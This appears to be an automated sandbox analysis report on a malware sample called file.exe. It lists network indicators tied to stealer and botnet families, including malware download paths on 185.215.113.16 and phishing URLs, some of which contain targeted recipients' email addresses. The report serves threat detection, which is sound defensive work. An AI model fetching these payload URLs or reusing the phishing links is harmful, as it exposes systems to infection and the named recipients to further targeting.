Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, onedscolprdeus21.eastus.cloudapp.azure.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, dual-a-0034.dc-msedge.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, onedscolprdwus20.westus.cloudapp.azure.com, clients.l.google.com, c1.microsoft.com, wc
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
07:08:56	API Interceptor	296739x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is consistent with Microsoft's branding for educational and documentation purposes." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	https://public-fra.mkt.dynamics.com/api/orgs/85a8c477-bea7-ef11-8a66-0022483994f9/r/MKSqoVs73k-RUO5uHPfRswIAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fassets-fra.mkt.dynamics.com%252F85a8c477-bea7-ef11-8a66-0022483994f9%252Fdigitalassets%252Fstandaloneforms%252F46042089-b8ac-ef11-a72d-6045bd6e29e8%22%2C%22RedirectOptions%22%3A%7B%226%22%3A%22mktprf9fb729cc84d74db3bce9a30da7409e87eoprf%22%2C%221%22%3Anull%7D%7D&digest=juexwq7Jl6DCR7CneIIynCjAtNPRJ1FxLmm99rnbDLA%3D&secretVersion=02e7c83d621d4269af2f08a8e4e233cf	Get hash	malicious	Unknown	Browse
	https://www.google.rs/url?q=160CHARtTPSJ3J3wDyycT&sa=t&esrc=TYsrCFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=HARlDJVS0YXpPkDfJ6C&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/aloperdehatti.com/on/wTARVgfa92/%61%6C%65%73%73%69%61%2E%64%61%6E%69%65%6C%65%40%74%6F%6E%69%6E%63%61%73%61%2E%69%74&ugs=n8CoFFz5hZ4Yaxn3ZJryvKlaQxQ-BOyvjZ0GlahI9shjnWfTZ1du_w==	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse
	rem.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse
	https://click.fastfilecourier.com/e/1087572/fqaOLKXX-Recipient-Email/dj2mqv/1470013843/h/udGXCM7hmNI9tBDgi0e8xxxDqma2HiU6KUfEpytzwlc	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
185.215.113.16	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
marshal-zhukov.com	file.exe	Get hash	malicious	Unknown	Browse	172.67.160.80
	file.exe	Get hash	malicious	Unknown	Browse	104.21.82.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.160.80
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.82.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.160.80
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.82.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.160.80
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.82.174
	file.exe	Get hash	malicious	Unknown	Browse	104.21.82.174
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.67.160.80
s-part-0035.t-0009.t-msedge.net	goHB2EXlPf.exe	Get hash	malicious	RedLine, SectopRAT	Browse	13.107.246.63
	goHB2EXlPf.exe	Get hash	malicious	RedLine, SectopRAT	Browse	13.107.246.63
	Bukti-Transfer.vbe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.63
	PI.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	13.107.246.63
	9VbeqQbgU4.exe	Get hash	malicious	RedLine, SectopRAT	Browse	13.107.246.63
	9VbeqQbgU4.exe	Get hash	malicious	RedLine, SectopRAT	Browse	13.107.246.63
	DarkGate_Loader.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://public-fra.mkt.dynamics.com/api/orgs/85a8c477-bea7-ef11-8a66-0022483994f9/r/MKSqoVs73k-RUO5uHPfRswIAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fassets-fra.mkt.dynamics.com%252F85a8c477-bea7-ef11-8a66-0022483994f9%252Fdigitalassets%252Fstandaloneforms%252F46042089-b8ac-ef11-a72d-6045bd6e29e8%22%2C%22RedirectOptions%22%3A%7B%226%22%3A%22mktprf9fb729cc84d74db3bce9a30da7409e87eoprf%22%2C%221%22%3Anull%7D%7D&digest=juexwq7Jl6DCR7CneIIynCjAtNPRJ1FxLmm99rnbDLA%3D&secretVersion=02e7c83d621d4269af2f08a8e4e233cf	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://www.google.rs/url?q=160CHARtTPSJ3J3wDyycT&sa=t&esrc=TYsrCFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=HARlDJVS0YXpPkDfJ6C&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/aloperdehatti.com/on/wTARVgfa92/%61%6C%65%73%73%69%61%2E%64%61%6E%69%65%6C%65%40%74%6F%6E%69%6E%63%61%73%61%2E%69%74&ugs=n8CoFFz5hZ4Yaxn3ZJryvKlaQxQ-BOyvjZ0GlahI9shjnWfTZ1du_w==	Get hash	malicious	Unknown	Browse	13.107.246.63
steamcommunity.com	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.121.10.34
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.121.10.34
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.121.10.34

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	FACTURE NON PAYEE.pdf	Get hash	malicious	Unknown	Browse	2.18.108.135
	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	172.234.222.143
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.201.7
	Sipari#U015f_listesi.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	172.232.175.166
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	104.80.164.79
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.211.108.80
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	No. I20220052.exe	Get hash	malicious	FormBook	Browse	2.16.158.186
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.129.36
CLOUDFLARENETUS	FACTURE NON PAYEE.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	scanre#IrefyAt# Contract ExpeNote30829#WewYm#.docx	Get hash	malicious	Unknown	Browse	172.67.128.225
	https://files-pdf-73j.pages.dev/?e=donal.oneill@camida.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://u48396839.ct.sendgrid.net/ls/click?upn=u001.6YeAQ6CJdNBv-2FudCmnBUfnGDeiTDEbkJBDYPt6L9zLs-2FLsak6B-2FHJOeuaA20CRyj4ymcnZhEANFrmmsKVXf7lykKGGim9NKe15FTuMOZuNBEFww2OP8BGALV3hzGu43iFj3whu7ElN-2FNYQWfEnFZNtXik-2Bc8xYTdlDDi-2B43g3xWfoVMN9Dsem2IaNiiX-2B-2BZ0QUoG_EefQjaPBlm3j-2F4SdpslfvAk7fHMHOXJ7LweRGvhfSEmfDfe568-2FY-2BOLHESUZOtre1SJ0b0hpgZyE9nNkk5TdPOPC4tMbl8SiWrItsarfSJPs2UVOaCUP5NH54Bsd5iepHuriwvocK8ytgM3DUdP-2FGahP9TgWP8NK8XkzPu1yHstDO59EN9oezB0Bvcj4q1reEb5SVFPJB790ukEQpDzKhgmB7njVUkFC8cDwRBiYm4JeBTEVj-2FO9L-2B-2B-2FOmACAmxhX3ZwjKn-2F44onZNgScafSE7DBg-2BaKyUPEhIs0htUoWnblk2BMfXpJIrTjI4RRPPL3aYkpTlROjrttDT-2FsPXJXV6Ht5SRUu-2B0FMc-2F6UTXOUHRIAToTaXExoh-2BhOHngBDGdH-2FjIVKS7GHuJm-2FScM7fL8YyMYHIc3ZF3zj-2FrNo1yxz6qQNvNwYKE88E7ss0Of03GH-2FJ0B8fjyNmYGjPzU42L4WTkis-2FCNDcoVJ6gJCIZpmjB42-2FzDW6h-2FUREH0NUo2OPfZ9i8VYJz7QmCHLGmxdxD04Jz41PYtN7DaspcbsjIDanjiifLEQrLEWmHGBUFW4S8xlKCRj6eGsM5ZaDHWshSLBdAzDSyuonhuBxtuYLeNVHermIaoXD85egwdLJYANewTDecNDoTikVJ8mQdl7ZtnugAlt3ha0w0KmdiGihn6nvMrhhJrSgrE-2B65pLabznZrU0JRBQYA244iDFukcakZMIzjlzqr9piWLEWATx3NZaoZsiDxjNPIcS-2BPZq07eqXM1Ulzf-2FqkjGpcDoFG-2FrwE0q08CJl0HkI1XntIga1RDU5EZi756rrs6KbGhi0n0UYyAPMzcKJ1GSCyUZR-2FjEg-2FvBTzHO-2FOloWzctFMjjbt8OJhXkQtpwpSzQ5WMHPnqPpU8mVl6-2F8VDi2j4ulsfLIYkFMQxs-2FFnpoz7jaZyont10-3D	Get hash	malicious	Unknown	Browse	104.18.11.207
	Infosharesystems__PASTDUE_36062.htm	Get hash	malicious	HTMLPhisher	Browse	104.21.61.197
	https://url.us.m.mimecastprotect.com/s/qfbjCOY674iMrZ7sEflHGWtli?domain=lp.05nissa.site	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	https://important-wholesale-dress.glitch.me#clerk@tkbtc.co.uk	Get hash	malicious	Unknown	Browse	172.67.167.75
	http://surl.li/oycpee	Get hash	malicious	Unknown	Browse	172.66.43.115
	https://go-pdf.online/abap-development-for-financial-accounting-custom-enhancements.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
MICROSOFT-CORP-MSN-AS-BLOCKUS	botx.spc.elf	Get hash	malicious	Mirai	Browse	20.168.68.115
	scanre#IrefyAt# Contract ExpeNote30829#WewYm#.docx	Get hash	malicious	Unknown	Browse	52.113.195.132
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.101.168.44
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.140.187.176
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	40.108.124.24
	http://surl.li/oycpee	Get hash	malicious	Unknown	Browse	13.107.246.62
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.240.149.67
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.211.238.85
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.210.71.181
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	40.75.85.198
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	scanre#IrefyAt# Contract ExpeNote30829#WewYm#.docx	Get hash	malicious	Unknown	Browse	23.52.182.8 4.245.163.56 13.107.246.63
	https://files-pdf-73j.pages.dev/?e=donal.oneill@camida.com	Get hash	malicious	HTMLPhisher	Browse	23.52.182.8 4.245.163.56 13.107.246.63
	https://u48396839.ct.sendgrid.net/ls/click?upn=u001.6YeAQ6CJdNBv-2FudCmnBUfnGDeiTDEbkJBDYPt6L9zLs-2FLsak6B-2FHJOeuaA20CRyj4ymcnZhEANFrmmsKVXf7lykKGGim9NKe15FTuMOZuNBEFww2OP8BGALV3hzGu43iFj3whu7ElN-2FNYQWfEnFZNtXik-2Bc8xYTdlDDi-2B43g3xWfoVMN9Dsem2IaNiiX-2B-2BZ0QUoG_EefQjaPBlm3j-2F4SdpslfvAk7fHMHOXJ7LweRGvhfSEmfDfe568-2FY-2BOLHESUZOtre1SJ0b0hpgZyE9nNkk5TdPOPC4tMbl8SiWrItsarfSJPs2UVOaCUP5NH54Bsd5iepHuriwvocK8ytgM3DUdP-2FGahP9TgWP8NK8XkzPu1yHstDO59EN9oezB0Bvcj4q1reEb5SVFPJB790ukEQpDzKhgmB7njVUkFC8cDwRBiYm4JeBTEVj-2FO9L-2B-2B-2FOmACAmxhX3ZwjKn-2F44onZNgScafSE7DBg-2BaKyUPEhIs0htUoWnblk2BMfXpJIrTjI4RRPPL3aYkpTlROjrttDT-2FsPXJXV6Ht5SRUu-2B0FMc-2F6UTXOUHRIAToTaXExoh-2BhOHngBDGdH-2FjIVKS7GHuJm-2FScM7fL8YyMYHIc3ZF3zj-2FrNo1yxz6qQNvNwYKE88E7ss0Of03GH-2FJ0B8fjyNmYGjPzU42L4WTkis-2FCNDcoVJ6gJCIZpmjB42-2FzDW6h-2FUREH0NUo2OPfZ9i8VYJz7QmCHLGmxdxD04Jz41PYtN7DaspcbsjIDanjiifLEQrLEWmHGBUFW4S8xlKCRj6eGsM5ZaDHWshSLBdAzDSyuonhuBxtuYLeNVHermIaoXD85egwdLJYANewTDecNDoTikVJ8mQdl7ZtnugAlt3ha0w0KmdiGihn6nvMrhhJrSgrE-2B65pLabznZrU0JRBQYA244iDFukcakZMIzjlzqr9piWLEWATx3NZaoZsiDxjNPIcS-2BPZq07eqXM1Ulzf-2FqkjGpcDoFG-2FrwE0q08CJl0HkI1XntIga1RDU5EZi756rrs6KbGhi0n0UYyAPMzcKJ1GSCyUZR-2FjEg-2FvBTzHO-2FOloWzctFMjjbt8OJhXkQtpwpSzQ5WMHPnqPpU8mVl6-2F8VDi2j4ulsfLIYkFMQxs-2FFnpoz7jaZyont10-3D	Get hash	malicious	Unknown	Browse	23.52.182.8 4.245.163.56 13.107.246.63
	Infosharesystems__PASTDUE_36062.htm	Get hash	malicious	HTMLPhisher	Browse	23.52.182.8 4.245.163.56 13.107.246.63
	goHB2EXlPf.exe	Get hash	malicious	RedLine, SectopRAT	Browse	23.52.182.8 4.245.163.56 13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.52.182.8 4.245.163.56 13.107.246.63
	goHB2EXlPf.exe	Get hash	malicious	RedLine, SectopRAT	Browse	23.52.182.8 4.245.163.56 13.107.246.63
	https://important-wholesale-dress.glitch.me#clerk@tkbtc.co.uk	Get hash	malicious	Unknown	Browse	23.52.182.8 4.245.163.56 13.107.246.63
	http://surl.li/oycpee	Get hash	malicious	Unknown	Browse	23.52.182.8 4.245.163.56 13.107.246.63
	https://go-pdf.online/abap-development-for-financial-accounting-custom-enhancements.pdf	Get hash	malicious	Unknown	Browse	23.52.182.8 4.245.163.56 13.107.246.63
a0e9f5d64349fb13191bc781f81f42e1	scanre#IrefyAt# Contract ExpeNote30829#WewYm#.docx	Get hash	malicious	Unknown	Browse	23.55.153.106 104.21.82.174
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106 104.21.82.174
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106 104.21.82.174
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106 104.21.82.174
	Banco Santander Totta - NOTIFICA#U00c7#U00c3O DE TRANSFER#U00caNCIA ELECTR#U00d3NICA.eml	Get hash	malicious	CredentialStealer	Browse	23.55.153.106 104.21.82.174
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106 104.21.82.174
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106 104.21.82.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106 104.21.82.174
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106 104.21.82.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106 104.21.82.174

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
